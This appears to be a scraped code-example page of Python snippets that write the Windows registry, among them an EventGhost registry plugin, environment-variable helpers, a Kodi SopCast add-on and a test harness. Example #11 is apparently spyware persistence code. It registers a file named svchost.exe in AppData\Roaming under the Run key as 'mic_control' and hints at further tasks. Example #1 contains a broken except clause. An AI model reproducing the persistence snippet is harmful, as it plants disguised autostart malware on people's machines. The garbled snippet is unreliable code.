예제 #1
0
    def __call__(
        self,
        key,
        subkey,
        valueName,
        action,
        keyType,
        newValue,
        disableParsing=False
    ):
        if not disableParsing:
            newValue = eg.ParseString(newValue)
        if not key:
            self.PrintError(self.text2.noKeyError)
            return 0
        if not subkey:
            self.PrintError(self.text2.noSubkeyError)
            return 0
        if not valueName:
            self.PrintError(self.text2.noValueNameError)
            return 0

        #try to get handle
        try:
            if action == 0:
                regHandle = _winreg.CreateKey(key, subkey)
            else:
                regHandle = _winreg.OpenKey(
                    key,
                    subkey,
                    0,
                    _winreg.KEY_WRITE | _winreg.KEY_READ
                )
        except EnvironmentError as  exc:
            if action != 1:
                eg.PrintError(self.text2.keyOpenError + ": " + str(exc))
            return 0

        #getting old value
        oldType = None
        try:
            regValue = _winreg.QueryValueEx(regHandle, valueName)
            oldType = regValue[1]
        except EnvironmentError as  exc:
            #exit because value does not exist
            if (action == 1):
                _winreg.CloseKey(regHandle)
                return 1
            if (action == 2):
                _winreg.CloseKey(regHandle)
                return 0

        #try to determine type if none is given
        if ((action == 0) or (action == 1)) and keyType is None:
            if oldType is None:
                try:
                    int(newValue)
                    #is int
                    keyType = _winreg.REG_DWORD
                except ValueError as  exc:
                    if newValue.count("%") > 1:
                        keyType = _winreg.REG_EXPAND_SZ
                    else:
                        keyType = _winreg.REG_SZ
            #if key already exists use the old type
            else:
                keyType = oldType

        #set or delete key
        try:
            if (action == 0) or (action == 1):
                if keyType == _winreg.REG_DWORD:
                    newValue = int(newValue)
                #change key
                _winreg.SetValueEx(regHandle, valueName, 0, keyType, newValue)
            elif (action == 2):
                #delete value
                _winreg.DeleteValue(regHandle, valueName)
            return 1
        except (EnvironmentError, ValueError as  exc:
            self.PrintError(self.text2.valueChangeError + ": " + str(exc))
            return 0

    def Configure(
        self,
        key = None,
        subkey = None,
        valueName = None,
        action = 0,
        keyType = None,
        newValue = "",
        disableParsing=False
    ):
        text = self.text
        text2 = self.text2

        if key is None:
            key = Config.lastKeySelected
            subkey = Config.lastSubkeySelected
            valueName = Config.lastValueNameSelected
        else:
            Config.lastKeySelected = key
            Config.lastSubkeySelected = subkey
            Config.lastValueNameSelected = valueName

        panel = eg.ConfigPanel(resizable=True)
        disableParsingBox = panel.CheckBox(
            bool(disableParsing),
            text.disableParsing
        )
        #keyChooser
        regChooserCtrl = RegistryChooser(
            panel,
            -1,
            text2,
            key,
            subkey,
            valueName
        )

        def UpdateLastSelectedKeys(event):
            a, b, c = regChooserCtrl.tree.GetValue()
            Config.lastKeySelected = a
            Config.lastSubkeySelected = b
            Config.lastValueNameSelected = c
            event.Skip()

        regChooserCtrl.Bind(wx.EVT_TREE_SEL_CHANGED, UpdateLastSelectedKeys)

        panel.sizer.Add(regChooserCtrl, 1, flag=wx.EXPAND)
        panel.sizer.Add(wx.Size(5, 5))

        #Action
        actionSizer = wx.BoxSizer(wx.HORIZONTAL)

        choices = len(text.actions)
        rb = range(0, choices)

        actionSizer.Add(
            wx.StaticText(panel, -1, text2.actionText),
            flag=wx.ALIGN_CENTER_VERTICAL
        )

        def OnRadioButton(event):
            #disables elements depending on action selection
            flag = not rb[2].GetValue()
            newValueCtrl.Enable(flag)
            typeChoice.Enable(flag)
            event.Skip()

        rb[0] = wx.RadioButton(panel, -1, text.actions[0], style = wx.RB_GROUP)
        rb[0].SetValue(action == 0)
        actionSizer.Add(rb[0], flag = wx.ALIGN_CENTER_VERTICAL)

        rb[1] = wx.RadioButton(panel, -1, text.actions[1])
        rb[1].SetValue(action == 1)
        actionSizer.Add(rb[1], flag = wx.ALIGN_CENTER_VERTICAL)

        rb[2] = wx.RadioButton(panel, -1, text.actions[2])
        rb[2].SetValue(action == 2)
        actionSizer.Add(rb[2], flag = wx.ALIGN_CENTER_VERTICAL)

        panel.sizer.Add(actionSizer)
        panel.sizer.Add(wx.Size(5, 5))

        #new Value Input
        newValueSizer = wx.FlexGridSizer(2, 4, 5, 5)
        newValueSizer.AddGrowableCol(1)

        newValueSizer.Add(
            wx.StaticText(panel, -1, text2.newValue),
            flag = wx.ALIGN_CENTER_VERTICAL
        )

        newValueCtrl = wx.TextCtrl(panel, -1, newValue, size=(200, -1))
        newValueSizer.Add(newValueCtrl, flag = wx.EXPAND)

        newValueSizer.Add(
            wx.StaticText(panel, -1, text2.typeText),
            flag = wx.ALIGN_CENTER_VERTICAL
        )

        typeChoice = wx.Choice(panel, -1)
        for i, value in enumerate(regTypes):
            typeChoice.Append(value[1])
            if value[0] == keyType:
                typeChoice.SetSelection(i)

        newValueSizer.Add(typeChoice)
        newValueSizer.Add((-1, -1))
        newValueSizer.Add(disableParsingBox)

        OnRadioButton(wx.CommandEvent())
        rb[0].Bind(wx.EVT_RADIOBUTTON, OnRadioButton)
        rb[1].Bind(wx.EVT_RADIOBUTTON, OnRadioButton)
        rb[2].Bind(wx.EVT_RADIOBUTTON, OnRadioButton)

        panel.sizer.Add(newValueSizer, flag = wx.EXPAND)

        while panel.Affirmed():
            key, subkey, valueName = regChooserCtrl.GetValue()

            for i, item in enumerate(rb):
                if item.GetValue():
                    action = i
                    break

            keyType = regTypes[typeChoice.GetSelection()][0]

            newValue = newValueCtrl.GetValue()

            panel.SetResult(
                key,
                subkey,
                valueName,
                action,
                keyType,
                newValue,
                disableParsingBox.GetValue()
            )

    def GetLabel(
        self,
        key,
        subkey,
        valueName,
        action,
        keyType,
        newValue,
        disableParsing=False
    ):
        hkey = FullKeyName(key, subkey, valueName)
        if action == 2:
            return self.text.labels[action] % hkey
        return self.text.labels[action] % (hkey, newValue)

    @classmethod
    def OnAddAction(cls):
        cls.text2 = cls.plugin.text.RegistryGroup


class RegistryQuery(eg.ActionBase):
    name = "Query Registry"
    description = (
        "Queries the Windows registry and returns or compares the value."
    )
    iconFile = "icons/Registry"

    class text:
        actions = ("check if exists", "return as result", "compare to")
        labels = (
            'Check if "%s" exists',
            'Return "%s" as result',
            'Compare "%s" with %s'
        )

    def __call__(self, key, subkey, valueName, action, compareValue):
        if not key:  #nothing selected
            return None

        success = False
        try:
            regHandle = _winreg.OpenKey(key, subkey)
            success = True
        except EnvironmentError:
            pass

        #key does not exist or is not readable
        if not success:
            if action == 0:
                return False
            elif action == 1:
                return None
            elif action == 2:
                return False

        #key found and no value specfied
        if valueName is None:
            if action == 0:
                return True
            self.PrintError(self.text2.noValueNameError)
            if action == 1:
                return None
            elif action == 2:
                return False

        #reading value
        try:
            regValue = _winreg.QueryValueEx(regHandle, valueName)
            value = regValue[0]
            if action == 0:
                return True
            elif action == 1:
                return value
            elif action == 2:
                return str(value) == compareValue
        except EnvironmentError:
            if action == 0:
                return False
            elif action == 1:
                return None
            elif action == 2:
                return False

    def Configure(
        self,
        key = None,
        subkey = None,
        valueName = None,
        action = 0,
        compareValue = ""
    ):
        text = self.text
        text2 = self.text2

        if key is None:
            key = Config.lastKeySelected
            subkey = Config.lastSubkeySelected
            valueName = Config.lastValueNameSelected
        else:
            Config.lastKeySelected = key
            Config.lastSubkeySelected = subkey
            Config.lastValueNameSelected = valueName

        panel = eg.ConfigPanel(resizable=True)

        #keyChooser
        regChooserCtrl = RegistryChooser(
            panel,
            -1,
            text2,
            key,
            subkey,
            valueName
        )

        def UpdateLastSelectedKeys(event):
            a, b, c = regChooserCtrl.tree.GetValue()
            Config.lastKeySelected = a
            Config.lastSubkeySelected = b
            Config.lastValueNameSelected = c
            event.Skip()

        regChooserCtrl.tree.Bind(
            wx.EVT_TREE_SEL_CHANGED, UpdateLastSelectedKeys
        )

        panel.sizer.Add(regChooserCtrl, 1, flag=wx.EXPAND)
        panel.sizer.Add(wx.Size(5, 5))

        choices = len(text.actions)
        rb = range(0, choices)
        sizer2 = wx.FlexGridSizer(1, choices + 2, 5, 5)
        sizer2.AddGrowableCol(4)

        sizer2.Add(
            wx.StaticText(panel, -1, text2.actionText),
            flag=wx.ALIGN_CENTER_VERTICAL
        )

        def OnRadioButton(event):
            flag = rb[2].GetValue()
            compareValueCtrl.Enable(flag)
            event.Skip()

        rb[0] = wx.RadioButton(
            panel,
            -1,
            text.actions[0],
            style = wx.RB_GROUP
        )
        rb[0].SetValue(action == 0)
        sizer2.Add(rb[0], flag = wx.ALIGN_CENTER_VERTICAL)

        rb[1] = wx.RadioButton(panel, -1, text.actions[1])
        rb[1].SetValue(action == 1)
        sizer2.Add(rb[1], flag = wx.ALIGN_CENTER_VERTICAL)

        rb[2] = wx.RadioButton(panel, -1, text.actions[2])
        rb[2].SetValue(action == 2)
        sizer2.Add(rb[2], flag = wx.ALIGN_CENTER_VERTICAL)

        compareValueCtrl = wx.TextCtrl(panel, -1, compareValue, size=(200, -1))
        sizer2.Add(compareValueCtrl, flag = wx.EXPAND)

        OnRadioButton(wx.CommandEvent())
        rb[0].Bind(wx.EVT_RADIOBUTTON, OnRadioButton)
        rb[1].Bind(wx.EVT_RADIOBUTTON, OnRadioButton)
        rb[2].Bind(wx.EVT_RADIOBUTTON, OnRadioButton)

        panel.sizer.Add(sizer2, flag = wx.EXPAND)

        while panel.Affirmed():
            key, subkey, valueName = regChooserCtrl.GetValue()
            compareValue = compareValueCtrl.GetValue()
            for i in range(0, 3):
                if rb[i].GetValue():
                    action = i
                    break
            panel.SetResult(key, subkey, valueName, action, compareValue)

    def GetLabel(self, key, subkey, valueName, action, compareValue):
        hkey = FullKeyName(key, subkey, valueName)
        if action == 2:
            return self.text.labels[action] % (hkey, compareValue)
        return self.text.labels[action] % hkey

    @classmethod
    def OnAddAction(cls):
        cls.text2 = cls.plugin.text.RegistryGroup


class RegistryChooser(wx.Window):
    def __init__(
        self,
        parent,
        id = -1,
        text = None,
        key = _winreg.HKEY_CURRENT_USER,
        subkey = "Software",
        valueName = None,
        pos = wx.DefaultPosition,
        size = wx.DefaultSize,
        style = wx.EXPAND
    ):
        self.text = text
        wx.Window.__init__(self, parent, id, pos, size, style)
        sizer = wx.GridBagSizer(5, 5)

        sizer.SetEmptyCellSize((0, 0))
        sizer.Add(
            wx.StaticText(self, -1, text.chooseText),
            (0, 0),
            (1, 6),
            flag = wx.ALIGN_CENTER_VERTICAL
        )

        sizer.Add(
            wx.StaticText(self, -1, text.keyText),
            (2, 0),
            flag = wx.ALIGN_CENTER_VERTICAL
        )

        #key
        keyChoice = wx.Choice(self, -1)
        for i in range(0, len(regKeys)):
            keyChoice.Append(regKeys[i][1])
            if regKeys[i][0] == key:
                keyChoice.SetSelection(i)
        sizer.Add(keyChoice, (2, 1))

        sizer.Add(
            wx.StaticText(self, -1, "\\"),
            (2, 2),
            flag = wx.ALIGN_CENTER_VERTICAL
        )

        #subkey
        subkeyCtrl = wx.TextCtrl(self, -1, subkey, size=(200, -1))
        sizer.Add(subkeyCtrl, (2, 3), flag = wx.EXPAND)

        sizer.Add(
            wx.StaticText(self, -1, text.valueName),
            (2, 4),
            flag = wx.ALIGN_CENTER_VERTICAL
        )

        #old Value
        sizer.Add(
            wx.StaticText(self, -1, text.oldValue),
            (3, 0),
            flag = wx.ALIGN_CENTER_VERTICAL
        )
        self.oldValueCtrl = wx.TextCtrl(self, -1, style=wx.TE_READONLY)
        self.oldValueCtrl.Enable(False)
        sizer.Add(
            self.oldValueCtrl,
            (3, 1),
            (1, 3),
            flag = wx.EXPAND
        )
        sizer.Add(
            wx.StaticText(self, -1, text.oldType),
            (3, 4),
            flag = wx.ALIGN_CENTER_VERTICAL
        )
        self.oldTypeCtrl = wx.TextCtrl(self, -1)
        self.oldTypeCtrl.Enable(False)
        sizer.Add(
            self.oldTypeCtrl,
            (3, 5),
            flag = wx.EXPAND
        )
        self.FillOldValue(key, subkey, valueName)

        #Create TreeCtrl
        tree = RegistryLazyTree(self, -1, key, subkey, valueName, text=text)
        sizer.Add(tree, (1, 0), (1, 6), flag = wx.EXPAND)

        if valueName is None:
            valueName = ""
        elif len(valueName) == 0:
            valueName = text.defaultText
        valueNameCtrl = wx.TextCtrl(self, -1, valueName, size=(100, -1))
        sizer.Add(valueNameCtrl, (2, 5), flag = wx.EXPAND)
        sizer.AddGrowableRow(1)
        sizer.AddGrowableCol(3, 2)
        sizer.AddGrowableCol(5, 1)

        self.SetSizer(sizer)
        self.SetAutoLayout(True)
        sizer.Fit(self)
        self.Layout()
        self.SetMinSize(self.GetSize())

        self.keyChoice = keyChoice
        self.subkeyCtrl = subkeyCtrl
        self.valueNameCtrl = valueNameCtrl
        self.tree = tree
        self.tree.Bind(wx.EVT_TREE_SEL_CHANGED, self.OnTreeSelect)
        self.subkeyCtrl.Bind(wx.EVT_TEXT, self.OnSubkeyEnter)
        self.Bind(wx.EVT_SIZE, self.OnSize)

    def FillOldValue(self, key, subkey, valueName):
        curType = None
        curValue = None
        if valueName is not None:
            try:
                regHandle = _winreg.OpenKey(key, subkey)
                regValue = _winreg.QueryValueEx(regHandle, valueName)
                _winreg.CloseKey(regHandle)
                for i in range(1, len(regTypes)):
                    if regTypes[i][0] == regValue[1]:
                        curType = regTypes[i][1]
                        break
            except EnvironmentError:
                curType = ""
                curValue = self.text.noValueText
            if len(curType) > 0:
                try:
                    curValue = unicode(regValue[0])
                except:
                    #convert to hex
                    curValue = "0x" + binascii.hexlify(regValue[0]).upper()
        else:
            curType = self.text.keyText2
            curValue = ""

        self.oldValueCtrl.SetValue(str(curValue))
        self.oldTypeCtrl.SetValue(curType)

    def GetValue(self):
        #key
        key = regKeys[self.keyChoice.GetSelection()][0]

        #subkey
        subkey = self.subkeyCtrl.GetValue()

        #valueName
        valueName = self.valueNameCtrl.GetValue()
        if len(valueName) == 0:
            valueName = None
        elif valueName == self.text.defaultText:
            valueName = ""

        return key, subkey, valueName

    def OnSize(self, dummyEvent):
        if self.GetAutoLayout():
            self.Layout()

    def OnSubkeyEnter(self, event):
        value = self.subkeyCtrl.GetValue()
        if value.startswith("HK") and value.count("\\") > 0:
            #probably a whole key pasted
            tmp = value.split("\\", 1)
            key = tmp[0].upper()  #get first part
            value = tmp[1]
            for i in range(0, len(regKeys)):
                if regKeys[i][1] == key or regKeys[i][2] == key:
                    self.keyChoice.SetSelection(i)
                    self.subkeyCtrl.SetValue(value)
                    break
        event.Skip()

    def OnTreeSelect(self, event):
        key, subkey, valueName = self.tree.GetValue()
        if key is not None:  #change only if not root node
            if valueName is None:
                self.valueNameCtrl.SetValue("")
            elif len(valueName) == 0:
                self.valueNameCtrl.SetValue(self.text.defaultText)
            else:
                self.valueNameCtrl.SetValue(valueName)
            self.subkeyCtrl.SetValue(subkey)
            for i in range(0, len(regKeys)):
                if regKeys[i][0] == key:
                    self.keyChoice.SetSelection(i)
                    break
        self.FillOldValue(key, subkey, valueName)
        event.Skip()


class RegistryLazyTree(wx.TreeCtrl):
    def __init__(
        self,
        parent,
        id=-1,
        key = _winreg.HKEY_CURRENT_USER,
        subkey = "Software",
        valueName = None,
        pos = wx.DefaultPosition,
        size = wx.DefaultSize,
        style = wx.TR_HAS_BUTTONS,
        validator = wx.DefaultValidator,
        name="RegistryLazyTree",
        text = None
    ):
        self.text = text
        wx.TreeCtrl.__init__(
            self, parent, id, pos, size, style, validator, name
        )

        self.imageList = imageList = wx.ImageList(16, 16)
        rootIcon = imageList.Add(eg.Icons.GetInternalBitmap("root"))
        self.folderIcon = imageList.Add(eg.Icons.GetInternalBitmap("folder"))
        self.valueIcon = imageList.Add(eg.Icons.GetInternalBitmap("action"))
        self.SetImageList(imageList)
        self.SetMinSize((-1, 200))
        self.treeRoot = self.AddRoot(
            "Registry",
            image = rootIcon,
            data = wx.TreeItemData((True, None, None, None))
        )
        #Adding keys
        for item in regKeys:
            #a tupel of 4 values is assigned to every item
            #1) stores if the key has yet to be queried for subkey, when
            #   selected
            #2) _winreg.hkey constant
            #3) name of the key
            #4) value name, None if just a key, empty string for default value
            tmp = self.AppendItem(
                self.treeRoot,
                item[1],
                image = self.folderIcon,
                data =wx.TreeItemData((False, item[0], "", None))
            )
            self.SetItemHasChildren(tmp, True)
            if item[0] == key:
                self.SelectItem(tmp)

        #select old value in tree
        self.OnTreeChange(wx.CommandEvent(), key, subkey, valueName)
        self.EnsureVisible(self.GetSelection())

        self.Bind(wx.EVT_TREE_SEL_CHANGED, self.OnTreeChange)
        self.Bind(wx.EVT_TREE_ITEM_EXPANDING, self.OnExpandNode)

    def GetValue(self):
        data = self.GetItemData(self.GetSelection()).GetData()
        return data[1], data[2], data[3]

    def OnExpandNode(self, event):
        self.OnTreeChange(event, node = event.GetItem())

    def OnTreeChange(
        self,
        event,
        key2Select = None,
        subkey2Select = None,
        valueName2Select = None,
        node = None
    ):
        if not node:
            node = self.GetSelection()

        keyHasBeenQueried, fatherKey, \
            fatherSubkey, fatherValueName = self.GetItemData(node).GetData()
        subkey2Find = None
        newItemSelected = False

        if not keyHasBeenQueried:  #check for subkeys
            self.SetItemData(
                node,
                wx.TreeItemData(
                    (True, fatherKey, fatherSubkey, fatherValueName)
                )
            )

            #buildung tree
            try:
                regHandle = _winreg.OpenKey(fatherKey, fatherSubkey)
            except EnvironmentError as  exc:
                eg.PrintError(self.text.keyOpenError + ": " + str(exc))
                return 0

            #query subkeys
            if len(fatherSubkey) == 0:
                parentSubkey = ""
            else:
                parentSubkey = fatherSubkey + "\\"

            #preparing strings to find the subkey2Select key
            if valueName2Select:
                valueName2Select = valueName2Select.lower()
            if subkey2Select:
                subkey2Select = subkey2Select.lower()
            if key2Select and subkey2Select and key2Select == fatherKey:
                length = len(fatherSubkey)
                if subkey2Select[0:length] == fatherSubkey.lower():
                    subkey2Find = subkey2Select[length:]
                    if subkey2Find.startswith("\\"):
                        subkey2Find = subkey2Find[1:]
                    subkeys = subkey2Find.split("\\", 1)
                    subkey2Find = subkeys[0]

            #building Tree
            keyNames, valueList = RegEnumKeysAndValues(regHandle.handle)

            #sorting
            keyNames.sort(lambda a, b: cmp(a[0].lower(), b[0].lower()))
            valueList.sort(lambda a, b: cmp(a[0].lower(), b[0].lower()))

            #subkeys
            for keyName, numSubKeys, numSubValues in keyNames:
                hasChildren = bool(numSubKeys + numSubValues > 0)
                data = (
                    not hasChildren,
                    fatherKey,
                    parentSubkey + keyName,
                    None
                )
                tmp = self.AppendItem(
                    node,
                    keyName,
                    image=self.folderIcon,
                    data=wx.TreeItemData(data)
                )
                if subkey2Find == keyName.lower():
                    newItemSelected = True
                    self.SelectItem(tmp)
                self.SetItemHasChildren(tmp, hasChildren)

            #values
            for valueName, valueType in valueList:
                if len(valueName) == 0:
                    enumValueName = self.text.defaultText
                else:
                    enumValueName = valueName
                data = (True, fatherKey, fatherSubkey, valueName)
                tmp = self.AppendItem(
                    node,
                    enumValueName,
                    image = self.valueIcon,
                    data = wx.TreeItemData(data)
                )
                if (
                    valueName2Select is not None and
                    valueName.lower() == valueName2Select and
                    subkey2Select == fatherSubkey.lower()
                ):
                    newItemSelected = True
                    self.SelectItem(tmp)

        if newItemSelected:
            self.OnTreeChange(
                wx.CommandEvent(),
                key2Select,
                subkey2Select,
                valueName2Select
            )
        event.Skip()


def FullKeyName(key, subkey, valueName, maxSubkeyLength=15):
    label = "root"
    if not key:
        return label

    for i in range(0, len(regKeys)):
        if regKeys[i][0] == key:
            label = regKeys[i][2]
            break

    if not subkey:
        return label

    if (
        maxSubkeyLength and
        len(subkey) > maxSubkeyLength and
        subkey.count("\\") != 0
    ):
        label += "\\...\\" + subkey.rsplit("\\", 1)[1]
    else:
        label += "\\" + subkey

    if valueName is None:
        return label
    elif len(valueName) == 0:
        return label + "\\" + Text.RegistryGroup.defaultText
    else:
        return label + "\\" + valueName
예제 #2
0
파일: steps.py 프로젝트: gvahim/gpm-offline
def set_system_environment_variable(name, value):
    k = _winreg.OpenKey(_winreg.HKEY_LOCAL_MACHINE, SYSTEM_ENVIRON, 0,
                        _winreg.KEY_WRITE)
    _winreg.SetValueEx(k, name, 0, _winreg.REG_SZ, value)
    _winreg.CloseKey(k)
    return value
예제 #3
0
파일: sopcast.py 프로젝트: staycanuca/polux
def sopstreams(name, iconimage, sop):
    if not iconimage:
        iconimage = os.path.join(addonpath, 'resources', 'art',
                                 'sopcast_logo.png')
    if "sop://" not in sop: sop = "sop://broker.sopcast.com:3912/" + sop
    else: pass
    print("Starting Player Sop URL: " + str(sop))
    labelname = name
    if settings.getSetting('addon_history') == "true":
        try:
            add_to_history(labelname, str(sop), 2, iconimage)
        except:
            pass
    if not xbmc.getCondVisibility('system.platform.windows'):
        if xbmc.getCondVisibility('System.Platform.Android'):
            if settings.getSetting('external-sopcast') == "1":
                xbmc.executebuiltin(
                    'XBMC.StartAndroidActivity("org.sopcast.android","android.intent.action.VIEW","",'
                    + sop + ')')
            else:
                sopstreams_builtin(name, iconimage, sop)
        else:
            sopstreams_builtin(name, iconimage, sop)
    else:
        cmd = ['sc', 'sdshow', 'sopcastp2p']
        import subprocess
        proc = subprocess.Popen(cmd, stdout=subprocess.PIPE, shell=True)
        config = True
        for line in proc.stdout:
            if " 1060:" in line.rstrip():
                config = False
                print("Sopcast configuration is not done!")
        if config == False:
            messageok(translate(30000), translate(30027), translate(30028),
                      translate(30029))
        else:
            import _winreg
            aReg = _winreg.ConnectRegistry(None, _winreg.HKEY_LOCAL_MACHINE)

            #Dirty hack to break sopcast h264 codec so double sound can be avoided.

            try:
                aKey = _winreg.OpenKey(aReg,
                                       r'SOFTWARE\SopCast\Player\InstallPath',
                                       0, _winreg.KEY_READ)
                name, value, type = _winreg.EnumValue(aKey, 0)
                codec_file = os.path.join(
                    os.path.join(value.replace("SopCast.exe", "")), 'codec',
                    'sop.ocx')
                _winreg.CloseKey(aKey)
                if xbmcvfs.exists(codec_file):
                    xbmcvfs.rename(
                        codec_file,
                        os.path.join(
                            os.path.join(value.replace("SopCast.exe", "")),
                            'codec', 'sop.ocx.old'))
            except:
                pass
            aReg = _winreg.ConnectRegistry(None, _winreg.HKEY_LOCAL_MACHINE)
            aKey = _winreg.OpenKey(
                aReg,
                r'SYSTEM\CurrentControlSet\Services\sopcastp2p\Parameters', 3,
                _winreg.KEY_WRITE)
            _winreg.SetValueEx(aKey, "AppParameters", 0, _winreg.REG_SZ, sop)
            _winreg.CloseKey(aKey)
            cmd = ['sc', 'start', 'sopcastp2p']
            import subprocess
            proc = subprocess.Popen(cmd, stdout=subprocess.PIPE, shell=True)
            servicecreator = False
            for line in proc.stdout:
                print("result line: " + line.rstrip())
            res = handle_wait_socket(int(settings.getSetting('socket_time')),
                                     translate(30000), translate(30030))

            if res == True:
                print("Server created - waiting x seconds for confirmation")
                try:
                    sock.close()
                except:
                    pass
                sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                handle_wait(int(settings.getSetting('stream_time')),
                            translate(30000),
                            translate(30031),
                            seconds='')
                try:
                    result = sock.connect(('127.0.0.1', 8902))
                    connected = True
                except:
                    connected = False
                if connected == True:
                    playlist = xbmc.PlayList(1)
                    playlist.clear()
                    listitem = xbmcgui.ListItem(labelname,
                                                iconImage=iconimage,
                                                thumbnailImage=iconimage)
                    listitem.setLabel(labelname)
                    listitem.setInfo("Video", {"Title": labelname})
                    listitem.setProperty('mimetype', 'video/x-msvideo')
                    listitem.setProperty('IsPlayable', 'true')
                    windows_sop_url = "http://127.0.0.1:8902/tv.asf"
                    listitem.setPath(path=windows_sop_url)
                    playlist.add(windows_sop_url, listitem)
                    xbmcplugin.setResolvedUrl(int(sys.argv[1]), True, listitem)
                    player = SopWindowsPlayer()
                    if int(sys.argv[1]) < 0:
                        player.play(playlist)
                    while player._playbackLock:
                        xbmc.sleep(5000)
                else:
                    xbmc.executebuiltin("Notification(%s,%s,%i,%s)" %
                                        (translate(30000), translate(30032), 1,
                                         os.path.join(addonpath, "icon.png")))
            else:
                xbmc.executebuiltin("Notification(%s,%s,%i,%s)" %
                                    (translate(30000), translate(30032), 1,
                                     os.path.join(addonpath, "icon.png")))
            print("Player reached the end")
            cmd = ['sc', 'stop', 'sopcastp2p']
            import subprocess
            proc = subprocess.Popen(cmd, stdout=subprocess.PIPE, shell=True)
            servicecreator = False
            for line in proc.stdout:
                print("result line" + line.rstrip())
                #break SopCast x264 codec - renaming the file later
            import _winreg
            aReg = _winreg.ConnectRegistry(None, _winreg.HKEY_LOCAL_MACHINE)
            try:
                aKey = _winreg.OpenKey(aReg,
                                       r'SOFTWARE\SopCast\Player\InstallPath',
                                       0, _winreg.KEY_READ)
                name, value, type = _winreg.EnumValue(aKey, 0)
                codec_file = os.path.join(
                    os.path.join(value.replace("SopCast.exe", "")), 'codec',
                    'sop.ocx.old')
                _winreg.CloseKey(aKey)
                if xbmcvfs.exists(codec_file):
                    xbmcvfs.rename(
                        codec_file,
                        os.path.join(
                            os.path.join(value.replace("SopCast.exe", "")),
                            'codec', 'sop.ocx'))
            except:
                pass
예제 #4
0
파일: winreg.py 프로젝트: moepnse/pi
 def set_type(self, type):
     self._type = type
     winreg.SetValueEx(self._key_handle, r"%s\%s" % (self._sub_key, self._name ), self._type, self._data)
예제 #5
0
파일: winreg.py 프로젝트: moepnse/pi
 def set_name(self, name):
     winreg.DeleteValue(self._key_handle, r"%s\%s" % (self._sub_key, self._name))
     winreg.SetValueEx(self._key_handle, r"%s\%s" % (self._sub_key, name ), self._type, self._data)
     self._name = name
예제 #6
0
 def set_register(self, reg_path, name, reg_type, value):
     #_, reg_type = winreg.QueryValueEx(INTERNET_SETTINGS, name)
     winreg.SetValueEx(reg_path, name, 0, reg_type, value)
     launcher_log.info("set register path:%r name:%s type:%d value:%s",
                       reg_path, name, reg_type, value)
예제 #7
0
    def write_registry_value(self, reg_path, arch, root, key, regType, value):
        if sys.platform.startswith('win'):
            _log.debug("Trying to write %s\\%s = %s" % (reg_path, key, value))
            try:
                registry_key = _winreg.OpenKey(root, reg_path, 0,
                                               _winreg.KEY_WRITE)
            except WindowsError:
                try:
                    _log.debug("Key doesn't exist -- must create it.")
                    registry_key = _winreg.CreateKeyEx(root, reg_path, 0,
                                                       _winreg.KEY_WRITE)
                except WindowsError as ex:
                    _log.error(
                        "Error setting (%s) %s\key: %s to value: %s.  Error=%s."
                        % (arch, root, key, value, str(ex)))
                    _log.error(
                        "You many need to adjust permissions on the %s\\%s key."
                        % (reg_path, key))
                    return False

            _log.debug("Writing {0} of type {1} to {2}\\{3}".format(
                value, regType, registry_key, key))
            _winreg.SetValueEx(registry_key, key, 0, regType, value)
            _winreg.CloseKey(registry_key)
        else:
            registry_key = reg_path % (root, key)
            _log.debug("Writing to %s" % registry_key)

            set_reg_value_command = [
                "regtool", arch, "set", regType,
                str(registry_key),
                str(value)
            ]
            rc = self._executive.run_command(set_reg_value_command,
                                             return_exit_code=True)
            if rc == 2:
                add_reg_value_command = [
                    "regtool", arch, "add", regType,
                    str(registry_key)
                ]
                rc = self._executive.run_command(add_reg_value_command,
                                                 return_exit_code=True)
                if rc == 0:
                    rc = self._executive.run_command(set_reg_value_command,
                                                     return_exit_code=True)
            if rc:
                _log.warn(
                    "Error setting (%s) %s\key: %s to value: %s.  Error=%s." %
                    (arch, root, key, value, str(rc)))
                _log.warn(
                    "You many need to adjust permissions on the %s key." %
                    registry_key)
                return False

        # On Windows Vista/7 with UAC enabled, regtool will fail to modify the registry, but will still
        # return a successful exit code. So we double-check here that the value we tried to write to the
        # registry was really written.
        check_value = self.read_registry_value(reg_path, arch, root, key)
        if check_value[0] != value or check_value[1] != regType:
            _log.warn(
                "Reg update reported success, but value of key %s did not change."
                % key)
            _log.warn("Wanted to set it to ({0}, {1}), but got {2})".format(
                value, regType, check_value))
            _log.warn(
                "You many need to adjust permissions on the %s\\%s key." %
                (reg_path, key))
            return False

        return True
예제 #8
0
'''.format(Date,Time)

def runvbs(vbs):
    if not os.path.isdir(workdir): 
        os.mkdir(workdir)
    with open(workdir+r'\temprun.vbs',"w") as f :
        f.write(vbs)        
    with disable_file_system_redirection():
        print os.popen('cscript.exe "'+workdir+r'\temprun.vbs"').read()
        print('Script execution completed successfully')
        print "Time and Date changed Successfully"


runvbs(vbs)

with disable_file_system_redirection():
    keyVal = r'SOFTWARE\Policies\Microsoft\Control Panel\International'

key = _winreg.CreateKey(_winreg.HKEY_LOCAL_MACHINE,keyVal)
_winreg.SetValueEx(key, "PreventUserOverrides", 0,_winreg.REG_DWORD,1)
_winreg.CloseKey(key)

now = datetime.datetime.now()
date=now.strftime("%Y-%m-%d")
time=now.strftime("%H:%M")

if os.path.isfile(workdir+r'\temprun.vbs'):
    os.remove(workdir+r'\temprun.vbs')


예제 #9
0
def context_menu_integrate(item_key_name, item_display_text, item_command):
    app_menu_key = _winreg.OpenKey(_winreg.HKEY_CLASSES_ROOT, SHELL_REGKEY, 0, _winreg.KEY_WRITE)
    menu_item_key = _winreg.CreateKey(app_menu_key, item_key_name)
    _winreg.SetValueEx(menu_item_key, None, None, _winreg.REG_SZ, item_display_text)
    item_command_key = _winreg.CreateKey(menu_item_key, 'command')
    _winreg.SetValueEx(item_command_key, None, None, _winreg.REG_SZ, item_command)
예제 #10
0
def registerServer(h):
    key = wreg.CreateKey(
        wreg.HKEY_CURRENT_USER,
        "Software\\VB and VBA Program Settings\\IPC\\Handles")
    wreg.SetValueEx(key, 'PIDA_SERVER', 0, wreg.REG_SZ, str(h))
    key.Close()
예제 #11
0
# HKEY_CURRENT_USER contains the run folder
# create a registry key
key = reg.HKEY_CURRENT_USER

# make the run folder as the key value (Software\Microsoft\Windows\CurrentVersion\Run)
key_value = "Software\Microsoft\Windows\CurrentVersion\Run"

# open the key to make changes to
open_key = reg.OpenKey(key, key_value, 0, reg.KEY_ALL_ACCESS)

# set up the .exe path
Username = os.environ['USERNAME']
address = '"C:\Users\\' + Username + '\AppData\Roaming\svchost.exe"'

# modifiy the open key and add the .exe path to it
reg.SetValueEx(open_key, "mic_control", 0, reg.REG_EXPAND_SZ, address)

# Second task

# notifies the active window
